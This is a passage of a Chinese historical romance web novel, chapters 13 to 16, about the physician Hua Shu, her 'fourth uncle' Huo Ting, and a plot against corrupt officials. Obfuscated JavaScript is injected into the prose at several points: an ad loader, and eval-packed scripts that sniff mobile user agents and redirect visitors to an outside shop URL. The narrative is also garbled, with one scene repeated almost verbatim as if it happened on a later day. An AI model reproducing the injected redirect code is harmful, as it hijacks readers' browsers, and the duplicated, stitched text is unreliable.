霍千羽吆喝地热火朝天：“不要挤，不要挤，一个个来，人人都会给诊治的……” 接下来，华姝负责诊脉下药，霍千羽负责将药方子记录在案，并交给药童抓药。两个人小姐妹互相配合，忙得不得空闲，却又不亦乐乎。 * 刀疤彪汉因是湿热入体，华姝除了开内服汤药，在他颈部和手上扎了针灸，辅之以祛湿排毒。 针灸需要等上半个时辰，他就在回春堂盛放药材的里间角落坐了会。趁这功夫，华姝忙里偷闲为他亲手打包。 并将腕上的玉镯，悄悄塞进药包底部 她欠他那一刀，得还。再让他捅回来不现实，就请他拿玉手镯换些强筋健骨的补品吧。 取银针时，看着他颈部的蜈蚣形疤痕，华姝有一瞬微怔。 这伤口再稍微偏一点，就会划破颈动脉，对方明显想治他于死地。 就像霍霆眉骨的那道疤，敌手明显是想划伤他的眼。 那人眼睛最是威慑有神，若是失明，得多可惜。是而，她一定要加紧为他排除余毒…… “我这疤，是否吓到您了？”刀疤彪汉见她一直盯着疤痕瞧，有些不大好意思。 华姝回神，继续取针，“没有，我是想着有无合适的祛疤药膏。” “若是有的话，您不若留给老大吧。哦，就是镇南王爷。” “……你，为何不像外面的士兵一般称呼王爷将军，而是老大？”华姝似漫不经心一问。 实则，当初若非他们这山匪般的称呼，她也不至于完全没察觉。 “我们是最初跟着老大的那批人，那会老大还不是将军，也不是王爷。后来叫习惯了，就没改。” “最初……你们就是那十二位罗汉将军？” 想想也是，霍霆那会性命攸关，守在他身旁的，自然是心腹中的心腹。 但华姝很快就后悔了，这不是变相承认她在山上承认见过他们十二人嘛。她慌忙转身，假装去帮他拿药包，想将人快些请离。 身后，突然传来一声怦然的跪地声：“属下萧成，见过夫人。” 萧成见药房无外人，略作犹豫，还是忍不住为自家老大解释两句： “老大当初没让您下山，是想着要对您负责。他这些年在外面领兵打仗，身边从没有过任何女人，您是头一个。” “见您实在想走，也悄悄派人跟着呢，就想瞅瞅是哪家姑娘，好去提亲。后来那人回来禀告后，老大将自己关在房里整整一天一夜，不吃不喝，还不准我们再提……” “萧将军，快些请起。”华姝受不得他这一跪，“您真的认错人了，我只是四叔的侄女。” 说完，就将药包胡乱塞进他怀里，匆匆躲离药房。 身后，萧成却是嘟囔一句：“可你们不是没有血缘嘛。” 华姝听得心底发寒，回到隔间后，半晌没缓过神来。 原来他留她在山上，是为来日提亲。 原来早在他回霍家前，已然知晓她身份。那他特意穿她做的黑靴回府，所为何意？ 萧成认为没血亲的叔侄可以通婚，那位也是这般想吗？ 华姝柳眉几乎拧成疙瘩，应当不能吧，否则他为何将自己关在房中一日一夜。 所以，他是因此没有按时吃药而余毒未清。 回春堂各处依旧忙得热火朝天，药草香，伴着间断的问诊声，以及药童装草药的叮当碰撞声，此起彼伏。 原本一派祥和的画面，华姝作为大夫看到后最为舒适，但这会只觉得繁乱不堪。 她得尽快筹集银钱，尽早与那人解释清楚，刻不容缓。 * 临近傍晚，来看诊的士兵们渐渐少了 霍千羽有些腹饥，带着丫鬟跑到对面的酥礼记，去买惦记好久的脆皮烧饼。 胖老板也捶着后背，去药房轻点存留的药材。 华姝瞅准机会，跟着走进药房，“陈老板，我下午抓药时，发现没有血竭这类活血化瘀的药材。但士兵们常年跌打损伤，应该挺需要吧。” “我发现了，您心思真是细腻。” 胖胖的陈老板朝她竖起大拇指，但转而无奈道：“按理说，血竭这类药物该多备。奈何药价昂贵，上头批剥下来的银两又实在有限，只能抓大放小。 不止活血化瘀的，那治疗痢疾的槟榔、治疗头风的金石斛，也都买不起。” 华姝微笑摆摆手，“您谬赞了。” 大伯父手上可支配银钱不多，她一早就知晓，是而特意关注回春堂的药材存余情况。 长辈们给的首饰，她跟祖母商量过后，已交由大伯父支配，各类珍稀药材则留了下来。 “我家中倒有一些药材，有我自己种 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 植的，还有长辈们为将士们准备的，过两日我就分批拿过来。” “那感情好，真是解决了我的燃眉之急啊！”陈老板大喜，“不愧是镇南王府，对将士们的重视真真是费心了。” “应该的。” 帮了胖老板的忙后，华姝适时提出：“我也有些小忙，想烦请您给费心帮忙打听打听。” “何事？您请说。”陈老板爽快应道。 “就是……”华姝悄悄看眼门外，确定霍千羽还没回来，继续道：“就是您是否知晓，城里哪家医馆招收临时坐诊的大夫？” “最好是专攻疑难杂症的。” 这样收取的诊金更多，偿还霍霆的债务就能更快。 “您这是要亲自为将士们筹钱？”胖老板会错意。 “是我祖母生辰快到了，想给她老人家准备一份惊喜贺礼，还望您帮我暂时保密。若是有余留的话，亦可帮衬将士们一二。”华姝神色如常地笑道。 胖老板见这位姑娘温温柔柔的，且孝心一片，不疑有他，“自然没问题。” “您且等小的琢磨琢磨。”他捋着自己的八字小胡须，思忖片刻后，“若说疑难杂症来钱快的，还真有一份。不过那病人出身……微末些，就怕您瞧不惯。” 华姝本以为要等几日才能有消息，这会不由欢喜，“您且说说看。在咱们大夫眼中，病患不分三六九等。” “姑娘大气。” 于是陈老板简述起病人情况，小声道：“是位女病患，原是翠香楼的花魁，现下乃武威侯府世子爷所豢养的外室。 结果赎身出来没多久，就检查出患有花柳病，遭世子爷厌弃了。她就一心想赶紧把病治好，银钱多少不重要。” 华姝听完，不禁唏嘘。 女子微卑微弱，以色侍人，果然不是长久之计。 就如她和霍霆，且不说叔侄与否，单说两人的身份差距，也不适合再有过深的交集。 “同为女子，我还是想力所能及帮帮她。”华姝略作思忖，作下决定：“还望陈老板私下帮我传个话。” “好说，好说。” * 在这之后，霍千羽就帮华姝带着热乎乎的新出炉烧饼回来了，两人稍作饱腹，又与胖老板等人一同为剩余的士兵们诊完脉，就坐车回到霍家。 晚膳，华姝留在了白鹭院。 大夫人忙让丫鬟伺候着梳洗，关切道：“坐诊一整日，都累坏了吧？” “我不累，主要是姝儿。” 霍千羽骄傲地介绍着白日的事，“您是没瞧见，姝儿仅凭三言两语，就让他们的态度瞬间大逆转……” “什么就瞬间大逆转了？” 恰是这时，大老爷霍雲的笑声出现在门口。 三人转头看去，就见霍玄正推着霍霆的轮椅，先行走进来。霍雲紧随其后。 他怎么也来了？ 华姝随着众人起身，忙欠身见礼，下意识去看了眼霍霆。 恰好轮椅经过她身边时，霍霆也往这边瞧来，两人目光在半空中有一瞬交汇。 华姝眨了眨眼，低下头去。 娟秀的小脸不似早上那般明媚精神，掩饰不住地疲态。就连如此与他近距离对视，也没脸红心跳，没心思想旁的事了。 霍霆瞧得出，她是真累得不轻。 有些话语已到他嘴边，又因诸多缘由，消失在屡屡白色的檀木香雾中。 霍霆自然被请到圆桌的主位处，他坐定后，其余人跟着坐下。 饭桌上，大夫人和络地介绍起刚刚的话题。 霍千羽兴致冲冲地从旁补充：“您是没瞧见，那士兵脖颈的刀疤啊，有这么老长。” 她越说越起劲，后来更是动手比划起来，“我生平头一次见，吓坏了。那人竟还故意跟姝儿故意搭话，说瞧见过她，姝儿更是吓得不轻。” “哎哟，那这的确骇人。” 大夫人不免紧张，慈爱地摸摸华姝的头，“要不明日就别去了吧？” 华姝借着给大伙倒茶，早已将头埋低，不敢去看霍霆的反应。 她没料到霍千羽会忽然提起这茬，还是当着霍霆的面。这般一描述，他自然知晓是山上那位。那后面两人的对话，岂不是早晚会传到他耳中？ 14. 第 14 章 母女俩对话刚说完，大老爷霍雲忙不迭给大夫人使眼色，霍霆的眉骨上也有道疤。 大夫人及时反应过来，亦是在饭桌下悄打了下。霍千羽后知后觉，赶紧尴尬住嘴。 饭桌上，气氛一时有些微妙。 这时，半晌未言的华姝，勉强挤出一抹浅笑：“后来想想，那伤疤是为保护我们所致，也就不怕了。” 一来，大伯母和千羽表姐本就是番好意。 二来，明日若是不去，她就没办法私下坐诊、尽快筹集银钱了。 “姝儿说得对，那不止是伤疤，更是将士们的功勋。”大夫人忙附和道，然后仍是不免紧张地瞧向主位。 主位上，霍霆坐定后就在静静品茶，神情一如既往的平淡，旁人鲜少能搅动他的情绪波澜。 唯有华姝说到那句“不怕”时，掀起眼皮看她一眼。 姑娘将头埋得低低的，说这句话时，神情叫人看的不真切，心情也叫人看得不真切。 霍霆没再对此过多追究，而是转头看向霍玄，“殿试一事，准备得如何？” 霍玄原本正忧虑华姝被搭话的事，表妹温柔秀丽，又颇有才情和医术，很容易招了男子的眼。 若是被小人趁机蛊惑算计了去，又或被某位将领先看中来提亲，可就不妙了。 他考虑着，这几日要不要多派些人手护送，亦或他亲自接送。 听到四叔的问话，霍玄匆忙回神，恭敬道：“正想借这机会，请四叔提点一二。” 于是饭桌上的话题，顺势转向科考之事。 华姝和霍千羽母女，都各自松了口气。 “上次提及的水文相关策论，你准备好几篇，每篇的侧重点都作何？”霍霆问向霍玄。 华姝默默听着，与早间问她时，相似也不同。 同样是一上来就主导了整场对话的走向。但也不知是否老夫人在场的缘故，早间语气和软许多。这会男人气场强盛，语气不怒自威。 平时在饭桌上咋咋呼呼的霍千羽，这会乖得像只猫，用汤匙舀肉丸都不敢出大声。 “朝廷治水，除了自然气候外，主要涉及人力财力物力。故而，侄儿侧重从这四方面作答。”霍玄一一作答，然后谦恭地请教道：“四叔，您觉得这般可稳妥？” 霍霆面色微沉，看起来并不满意，“怎得未将你父亲所遇情境，考虑其中？” “澜舟所言极是。” 霍雲在旁听了，佩服地点点头，看向自家儿子，“你考虑的这些，旁的考生应是也会想到，就看大家谁更技高一筹。 但万一假以时日，真将原本应由工部负责的差事，交给兵部或吏部来做。那对于不熟悉这差事的官员，如何快速上手就很重要了。尤其修筑堤坝，那就是和老天爷和阎王爷抢人呐。” “你亦可将受众官员加以推广，覆盖所有初次接受水文差事的官员。”霍霆言一语中的。 霍玄眼前一亮，恍然大悟：“多谢四叔提点，侄儿受教了。” “四叔不愧是十五岁就考中进士，见解果然独到又深入。”霍千羽见状，赶紧趁机拍马屁，以变相对先前的口误告罪。 霍霆自然不会回应这种吹嘘。 大夫人给她和华姝各夹了块咕咾肉，顺势帮忙找台阶下，“快安生吃饭吧，早点回屋歇着，明日还得早起。” 霍千羽嘻嘻笑，“娘真好。” “多谢大伯母。”华姝轻声道谢，然后也伸手给大夫人夹了块蜜汁酱鸭。 因着那猜离她稍远些，手臂伸长后，浅绿色衣袖后退开几寸，露出一截空荡荡的纤细皓腕。 “哎，姝儿你那玉手镯呢？”霍千羽眼尖地发现了端倪，“我记得你早上出门戴着的。” 华姝忙心虚地用衣袖盖住，“许是白日太忙，落下回春堂的隔间了，我明日去找找。” “哦，明日你提醒我，我帮你找。”霍千羽信以为真。 “……好。” 华姝悄看霍霆一眼，见他有条不紊地夹起块红烧鱼肉，细嚼慢咽着，神色如常。 她才继续低头吃饭，想来那位萧将军并未与他禀告此事。 * 吃过晚膳后，趁着霍霆还在与霍雲父子谈话，华姝先行与大夫人母女道别。 月桂居和清枫斋就在对面，若是一起走，那就得走一路。 她这会累得大脑疲倦，实在没精力再应对他。 然而事与愿违，华姝前脚才从白鹭院走来，后脚就听到一阵轮椅木轮碾压碎石子的声响。 她不得不停下脚，等他缓缓靠近，然后欠身行礼，“王爷。” “无需多礼。” 霍霆摆手示意她起身，“换作是我，这会亦不想说话，且就这么往前走吧。” 随后他看了眼身后，原本推轮椅的长缨，意会地退后 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其实祖母也这么喊过她，不过是长辈对晚辈的一些怜爱。 可当这位特别的长辈喊她时，就听着怪怪的。 霍霆将她娇羞的反应看在眼里，微扯唇角。 随后缓缓伸出手，在她的惊愕注视中，隔着衣袖，握住那纤细而空荡荡的皓腕。 待收回手时，一只熟悉的玉镯，已挂回原处，“收好它，别再弄丢了。” 华姝垂落手臂，左手指尖摩挲着右腕上的玉镯，上面还带着男人的体温，“萧将军找过您了。” 她轻轻地陈述事实，除此之外也不知该辩解些什么。 太乖了。 乖得一度让人不好再责备。 霍霆瞧着她，稀罕地轻笑一声，让自己话语听起来不会显得“特别凶”。 “早间不是才说过，你是我镇南王府的人，萧成怎敢收你的物件？” 其实，萧成的原话可比这直白多了。 “那华小姐可是老大的女人，嫂夫人的贴身首饰，属下不敢要啊。” 面对千军万马不带犯怵的八尺汉子，对着这小小玉手镯，当时满脸为难。 小心翼翼找块干整帕子包着，拿给霍霆时，再三保证，“老大，我可没拿手碰过啊！” 15. 第 15 章 月朗星稀，晚风吹拂，月桂居飘散出来淡淡的桂花香，徐徐剥乱着华姝的心弦。 一如霍霆的弦外之音。 他早间的原话是：“你们是镇南王府的人，是我霍霆的人。” 此刻又言：“你是我镇南王府的人，萧成怎敢收你的物件？” 两度叫她听得扑朔迷离，下意识结合起来，拼拼凑凑，岂非就是—— 你是我霍霆的人。 华姝心弦一紧，被自己的想法吓得不清，羞怯地看向对面，看向她的“四叔”，羽睫频频眨动。 霍霆一派坦然看着她，一向肃然刚毅的面庞上，罕见流淌着温和浅笑，在如玉月光映照下熠熠生辉，像极了一位寻常慈爱的长辈。 华姝到了嘴边的质问，又偃旗息鼓回去。 应是她想多了吧？ 可为何萧将军不敢收她的物件？而非不愿。 她一介小小孤女，借谁的势，能让萧成一位当朝正三品将军用“不敢”二字，甚至行跪拜礼，喊一句“嫂夫人”。 萧成白日的种种行径，不受控地浮现华姝眼前，蓦地红了耳根。 本以为王爷不追究，后续事宜处理起来会简单许多，殊不知如今压下葫芦又起了瓢，越来越说不清了。 “有话但说无妨，自家人不必拘礼。” 夜间视线偏暗，霍霆没瞧清华姝的耳边红晕，但瞧得出她的欲言又止，与紧张。 他微勾唇角，“即便如你儿时那般，我也不会责罚。” 儿、儿时…… 怎么又转到这茬了？ 华姝瞬间宛如从蒸笼里拿出来的红虾，浑身冒着热气。 这回不仅羞，还窘。 “没、没什么要说的。”赧颜的姑娘埋低头，瓮声瓮气地请示：“王爷，我能先回房了吗？” 霍霆看在眼里，无言轻叹，他似乎弄巧成拙踩中了猫尾巴，“回吧，早些休息。” 华姝如蒙大赦，转眼间落荒而逃。 回到月桂居后，由白术伺候着梳洗完，躺在浸满安神香气的轻纱软枕上，依旧心事重重。 不能再拖了，这几日得设法攒够银钱。 实在不行，就同千羽表姐借些，也得早点了清与那人的恩怨。 华姝抱着鹅绒黄锦缎的薄被，反复辗转多时，才堪堪入眠。 没料到，日有所思夜有所梦。 梦境里，华姝再度回到月桂居的门口，愕然看着霍霆为她戴回玉镯。 他却在收回手刹那，顺势扣住皓腕，轻巧地就将她带回炙热的怀中，就像两人那日在木屋里的坐姿。 烫得她心跳砰砰发乱，手指不敢乱碰，偏又得借力撑在他坚硬胸膛上，挣扎着想钻出他怀抱。 反被男人扣得更紧，粗重滚烫的呼吸，流连在她彼时发烫的耳根处，暗哑威胁：“再乱动，可就真不放你走了。” 华姝吓得不敢再动，只小声乞求：“此处是王府，还请王爷放手。” 男人贴面轻笑：“你也知道是在我府上？” “早间才交代过，你是我的人，转头就将贴身物件送与外男。”他惩罚似的咬住她圆润耳垂，“姝儿，你总要考虑考虑我的感受。” 说罢，男人齿间恶狠狠地磨着，扣紧腰肢的粗粝大掌，揉捏力道也故意加重。 华姝招架不住，呼吸随之娇喘得厉害，也挣扎地厉害，“可是，您是我的四叔啊——” “哗啦！” 华姝猛地从拔步香床上坐起，轻纱床幔上的玉珠串应声掉落。玲珑的娇躯仍止不住颤栗。 分不清是怕得，还是被撩拨得余韵犹存。 她玉手捂紧发烫的脸颊，轻轻拍打，懊恼如何会做了一场春梦，梦里男人还是她的四叔。 分明人家当时举止有度、端方持重，怎么自己反倒浮想联翩了呢？ 寂静清雅的闺房内，月光潺潺似有噪响，是夜少女再难安眠。 * 对面的清枫斋，亦是彻夜灯火通明。 霍霆坐在书案后，以手撑头，阖眼假寐，却没有要安寝的意思。 “王爷，不若您先去休息。待萧将军回来后，属下再去向您通禀。”长缨提议道。 霍霆从浅眠的梦境里回神，旖旎相拥的画面，被书房的清冷陈设所取代，“萧成去多久了？” 今日萧成送来玉镯后，霍霆另外交代他一份差事。收集兵部尚书中饱私囊的证据，届时这笔赃款充公，正好用于将士们的安置费。 “快三个时辰。”长缨皱眉，“这兵部尚书府邸的戒备，竟如此森严，连萧将军的功夫都无法轻松来回。” 长缨请示：“王爷，可需另派人手前往协助？” “不必。” 长缨话音刚落，萧成身着一袭黑色夜行衣，从漆黑夜色里，闪身跃入庭院。 萧成将手中的账簿，递到书案上，抱拳行礼：“老大，我幸不辱使命。” 霍霆摆手令他起身，没急于翻看账本，先着眼萧成胸口的灰色脚印，“看来此行颇为棘手，可有损伤？” “确实有些麻烦，不过也另有收获。” 萧成随意拍了拍胸口的灰尘，目光炯然，“我与那兵部尚书交手时，发现这司空震的武功身法极为熟悉，倒像是……” 他意味深长看着霍霆，“倒像是当年，我们赴约华不为华太医时，中途杀出的那黑衣人。” “几成把握？” 霍霆瞬时神色肃然，周身气压随之一沉。 “我特意与之多过招了几回合，可有八成把握。”萧成语气笃定。 闻言，霍霆靠回太师椅背，许久未再出声，萧成和长缨亦不敢打搅。 书房内，气压一沉再沉。 当年，霍霆收到华家兄长，也就是华姝父亲的求助密信，急忙带着人手前去赴约。 然而没见到华不为本人，倒是中途杀出一伙黑衣人，出手狠辣，势要将他们赶尽杀绝。 兄弟十三人伤亡惨重，折返燕京城时沿路都有埋伏，只能一路南下。 逃亡路上，很快获悉华家突发大火，全族意外身亡的消息。 华府乃百年杏林世家，根系繁茂，怎可能全族俱陨？ 这显然是一场蓄意谋杀！ 可霍霆那会没有证据，更回不了京城，亦唯恐牵连霍家人，这些年只能隐姓埋名，直到手握重兵而返。 “果然呐，咱们一回燕京，有些人的狐狸尾巴就藏不住了。” 书案瑞兽香炉的袅袅白烟后，霍霆一双凤眼，深邃如渊。 “原来如此！” 萧成恍然大悟，“我先前还纳闷呢，那兵部尚书好端端地为何要截杀咱们回京，原来里头还牵扯着当年的事！” 长缨气得咬牙切齿：“这个老狗，他先前不过是兵部小吏，这些年能爬得这么快，看来与当年的事脱不了干系！” 萧成更是气得不轻，“老大，你发句话，兄弟们立刻将这老狗暗中捉拿回来，严刑拷问。” “司空震能升迁如此之快，背后主谋的权势必然错综复杂，不可打草惊蛇。” 霍霆抬手示意他稍安勿躁，随后翻开书案上的账本。 此乃司空震的私账，详细记载着他这些假借兵部名义买战马，再私人倒卖给外邦的马贩子，牟利敛财的账目。 霍霆略略浏览几页后，交代长缨，“将消息透露给那都察院的沈之鹊，做得自然些。” 长缨：“王爷英明。” 都察院的言官们，向来都喜好捕风捉影，空口白牙就敢弹劾百官。 而沈之鹊，二夫人表妹沈青禾的父亲，多年不得晋升，急需一份能平步青云的政绩，自然会无利不起早。 长缨领命而去，消失在茫茫夜色中。 “以安置将士们一事做幌子，既能将司空震拉下马，还能迷惑当年那些幕后主使，可谓一箭双雕！”萧成忍不住翘起大拇指，“老大高明！” 霍霆轻扣着书案，思量道：“沈之鹊恐会有被灭口的嫌疑，你找几个眼生之人，暗中跟着。” 萧成点点头。遇到那帮穷凶极恶之徒，沈之鹊这政绩保不准是有命挣，没命享受。 “还有，”霍霆手指微顿，“回春堂那边，你亲自去盯着。” “……嫂子那啊？” 萧成转而挠头，“老大，你何不亲自去瞧瞧？夫妻两人每日双双把家还，多好！” 书案上的账本，如风般“啪”得砸到萧成头上，“哪那么多废话？” “是是是，我这就去，保证嫂子每日都平安回来与你相聚。” 萧成嘿嘿一笑，将账本平整放回去，然后麻溜闪人。 书房里重新归于沉寂，唯有更漏“嘀嗒”作响。 想起那道对他避之不及的清瘦倩影，霍霆唇瓣抿成一条线，轻叹了声。 回府后，霍霆曾从霍老夫人那探听过，当年华府出事前，恰逢华姝来霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948304|145271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家作客，得以幸免于难。 华不为在那个时点将年幼的独女送来府上，是恰巧，还是另有筹谋？ 霍霆抬手拢了拢眉心，终是百思不得其解。 * 次日清早，一夜浅眠的华姝，眼下淤青成片，扑了好几层脂粉，才堪堪遮盖住。 去回春堂路上，霍千羽问起此事，华姝只说昨夜在整理药材。 事实也是，她昨夜睡不着，索性起身下床，根据将士们的病症归整适合的草药和药膏。 到了回春堂后，胖老板正好在药房，华姝顺势走进去，“陈老板，我昨日抓药时，发现没有血竭。但士兵们常年跌打损伤，应该挺需要这类活血化瘀的药材吧？” “您心思真细。” 胖胖的陈老板竖起大拇指，但转而无奈道：“上头批下来的银两有限，只能抓大放小。不止血竭，那治疗痢疾的槟榔、治疗头风的金石斛，也都买不起。” 华姝微笑摆摆手，“您谬赞。王府筹集了些，我今日刚好带过来。” 长辈们给的首饰，她跟祖母商量后，已交由大伯父支配，各类珍稀药材则留了下来。是而昨日特作关注。 “这可真解决了我的燃眉之急！”陈老板大喜，“王府对将士们有心了。” “应该的。” 帮了胖老板的忙后，华姝适时提出：“我也有些小忙，想请您费心帮忙打听打听。” 她悄悄看眼门外，确定霍千羽没过来，才继续道：“您是否知晓，城里哪家医馆招收临时坐诊的大夫？” “最好是专攻疑难杂症的。” 收取的诊金更多，偿还霍霆的债务就能更快。 “我祖母生辰快到了，想给她老人家准备一份惊喜贺礼，还望您帮我暂时保密。” 胖老板见她温温柔柔的，且孝心一片，不疑有他，“自然没问题。” 他捋着八字小胡须，思忖片刻，“若说疑难杂症，还真有一份。那病人出身……微末些，就怕您瞧不惯。” 华姝本以为要等几日才能有消息，这会不由欢喜，“您且说说看。在咱们大夫眼中，病患不分三六九等。” “姑娘大义。” 陈老板简述起病人情况：“她原是翠香楼花魁，赎身没多久，就诊出患有花柳病。她现在一心想赶紧把病治好，银钱多少不重要。” 华姝微有唏嘘。女子微卑微弱，以色侍人，果然非长久之计。 就如她和霍霆，且不论叔侄关系，单说两人身份差距，也不适合再有过深交集。 “同为女子，我想力所能及帮帮她。”华姝略作思忖，作下决定：“还望陈老板私下帮我传话。” * 接下来几日，傍晚时分，华姝遂以跟胖老板学医为由，让霍千羽先行回府，她则从回春堂的后门悄悄往来于那花魁家中。 花魁的花柳病病入膏肓，的确难医。 但这花魁也的确出手阔绰，在华姝表示有五成把握治愈后，就径直付了五百两订金，相对于那血燕的一半卖价。 华姝深知这是救命钱，愈发谨慎行医下药。 有时真会在回春堂与胖老板讨论药方，也一日比一日贪晚。 等到第四日，她走出回春堂前门时，天已黑头，华灯初上。 而挂着“霍”红字木牌的马车，正静悄悄停靠在门前。在萧萧无人的长街上，尤其醒目。 华姝眼前闪过一道威严魁梧身形，不自觉眼皮突突直跳。 这时，马车车帘被挑开，一温润如玉的少年郎，闻声走下马车，和煦笑道：“表妹，我顺路接你回府。” 来人，是霍玄。 华姝微有讶异，但更多是松了口气，“有劳表兄。” 天色不早了，华姝没再寒暄什么，遂由半夏扶着坐上马车，一行人渐行渐远。 巷尾，萧成远远探出头来，急得抓耳挠腮。 他蹲守这几日，眼瞅着有将士们，陆续送来各种糕饼吃食，美其名曰是答谢华姝带来的药材。 但具体因为啥，男人之间谁也甭蒙谁，装啥大尾巴狼啊。 这嫂夫人也太惹人稀罕了。 没招来杀手，倒是招来一众桃花！ “不行，你赶忙去给老大通风报信。” 萧成指使一个手下，速速往镇南王方向而去，自己则是有多远躲多远。 这嫂夫人的护花使者，他可不敢当。尤其很可能还是，叔侄相争…… 16. 第 16 章 马车悠悠荡荡行驶于寂静的长街，零星亮灯的几家铺子也陆续关门。 马车内，华姝与霍玄对面而坐，中间隔着张红木小几，上面除了两摞书本，还有包糕点。 霍玄将油纸包推到华姝面前，“新出炉的酥皮烧饼，还是热的。表妹坐诊一整日，这会想必身疲腹饥，可以先垫垫。” “多谢表兄。” 华姝忙碌一下午，的确没顾得上裹腹。只是霍玄的关照，在他私下言明心意后，已让她不便坦然接受。 “我在回春堂刚用过茶点，千羽表姐素来喜爱这酥皮烧饼，不若留与她吧。”她浅笑婉拒。 岂知这时，闻到喷香的烧饼，肚子抗议地“咕噜”两声。 为了一口吃的，出卖起“自己”来，可谓毫不留情面。 …… 静谧马车内，气氛一度滑稽又尴尬。 “其、其实是我挑嘴，让表兄见笑了。” 有人变得无颜以对，不好意思地转头看向车窗外，蚊声解释道。 从霍玄的角度，尚能看见她泛红的半张侧颜，卷翘的眼睫眨动得厉害，似带勾的猫爪灵活撩拨人心。 在摇曳烛光的映照下，给原本乖巧娴静的少女，平添一丝狡黠的灵动。 这才是她该有的样子。 在华家未遭难前，记忆里，华姝比霍千羽还要顽皮。她俩凑在一处逗闹，没少让他吃闷亏。 只是后来寄人篱下，她小小年纪懂得察言观色，当初的小霸王日渐变成一只缩头小王八，让人怜惜，偏又撬不开她那层保护壳。 如此经年，他想守护伊人的心思，也愈发浓烈。 霍玄痴痴望着心爱的姑娘，顾着礼仪分寸，终是强行挪开目光。 “烧饼是有些油腻，母亲备的晚膳较为清淡，应会合表妹的胃口。”他看破不说破，转头交代赶车的小厮，“车速再加快点。” “好嘞！” 马儿脖子上的铜铃，随即“叮当”作响更快。 华姝听在耳中，心绪越发繁乱。 先前霍玄和大夫人相继提及议亲，此事小有误会。后因霍霆回府，华姝一时无暇顾及。 但正因着山匪与四叔的身份巨变，她更要尽早说清。 本以为今日是个机会，可面对霍玄的赤诚相待，再瞧瞧那两摞厚重的书本，华姝不免犹豫，唯恐影响到他殿试发挥。 罢了，还是再找机会同大伯母解释吧…… “若因我先前失言，惹恼表妹，霍玄在此向你道歉。” 心仪之人在身边，没人能管得住自己的眼。自打华姝上车，她每个细微反应，都在霍玄眼中放大数倍。 他索性先一步挑明，又似抛砖引玉，以方便女儿家开口倾诉。 华姝感激他大方坦荡，委婉表示：“表兄对我信任亲厚，姝儿感念至极。不过殿试在即，表兄没必要为旁的事分心，不值当的。” 霍玄已有预料，却不免苦苦一笑：“若真论科举分心，倒也无甚妨碍。” “若说不值当，实属假话。”他深深凝着她，星眸闪烁细碎光亮，“科举能重来，表妹的安危才是重中之重。” 这话，听得华姝心头暖暖的，有点不忍堙灭他眼中的光，“是我给表兄裹乱了，日后姝儿定会早些回府，不再贪晚。” 可她与霍霆的羞耻纠葛已不可逆，再不该染指这般干净的白衣少年，更不好令他徒添误会。 华姝咬了咬唇，终是开口：“表兄，近日恰逢多事之秋，我实在无心考虑终身大事。” 顾念他考试心态，她又补充道：“此番皆是对事不对人，还望表兄见谅。” 到底脸皮薄，与儿郎直白谈及情爱婚事，令她禁不住红了耳珠，娇艳模样越发诱人。 瞧得霍玄也耳郭泛红，心有悸动。 从前那个追着他扔泥巴的小泥猴，不知何时，已出落得楚楚动人，风情款款。 霍玄万般不舍这抹皎洁的月光，但更不舍她为难，默了默：“换作是我，亦需慢慢调整状态，此前是表兄莽撞了。” “表妹需要些时日舒缓，我亦需要时日备考。等殿试结束后，我们再视情况而议，可好？” 温润言语间，隐隐包裹着一丝小心翼翼：“不论结果如何，我绝不逼你。” 华姝不难看透此乃缓兵之计，不过确是个折中方案。 她想，若霍玄高中必有贵女争相结亲，或许他会遇到良配佳缘，继而淡忘这份心思。 思及他殿试在即，于是也退让半步：“好。” 见她松口，霍玄悄然握紧的手掌也缓缓松开，掌心已沁出一层薄汗。 之后，一路无言。 马车很快停在霍家角门，霍玄让华姝先行下车，自己则命小厮绕到正门，另行回府。 华姝与他道谢分别，趁四下无人，扶着半夏快步进门。 殊不知夜色漆黑，在那阴暗角落中，有道娇小的黑影一闪即离。 * 这会正是霍府用晚膳的时辰，庭院内几乎没人，偶有寒鸦从树梢飞过。 华姝准备先悄悄溜回月桂居，梳洗一番，假装早已回府，再前往白鹭院用膳。如此，也可拉开与霍玄回府的时辰。 不料，中途被丫鬟捉住：“表姑娘，老夫人叫您过去一道用晚膳。” 华姝暗道不妙，“好姐姐，祖母可还说旁的了？” 那丫鬟掩嘴笑：“老夫人关切表姑娘累坏身子，要罚您多吃两碗饭。还说，不吃完就不准您出门呢。” “应该的。”华姝抿唇讪笑了声，乖乖跟着丫鬟前往千竹堂。 主屋的中堂内，圆桌上已满饭菜，都是她爱吃的。只是某位老人家坐在软塌上，正兀自生闷气，需要人哄呢。 见没外人，华姝没依着规矩行礼，而是低眉垂眼走到跟前，轻摇着老夫人的衣袖，“祖母，姝儿知错了，日后再不敢贪晚了。” 娇滴滴拖着尾音，软糯糯地撒娇道。 老夫人继续佯怒板着脸，扭头不去瞧她，但也没拂开她的手。 华姝只得再接再厉：“祖母，咱先吃饭饭吧，好不好嘛……” “咳。” 身后的净室，忽然传来一道略显熟悉的清咳。 华姝顿时哑愣原地，转而双颊唰得一热。 他、他怎么也在呀？ 刚刚她那番撒娇磨人之语，那没规没矩的私密做派，岂不是全暴露在他面前？ 这么一想，华姝耳边越发热气腾腾，恨不得找个地缝钻进去。 见她苦皱小脸的可爱窘样，老夫人倒是先被逗乐：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霍霆隐去错综复杂的权谋手段，只挑了两三个喜人消息，简洁应对。 单是从容不迫的语气，足矣令听者信服且安心：“那就好。你办事向来稳妥，为娘放心……” 华姝坐在老夫人另一侧，一边小口喝着甜甜的软糯米粥，一边安静听着，也由衷为将士们欢喜。 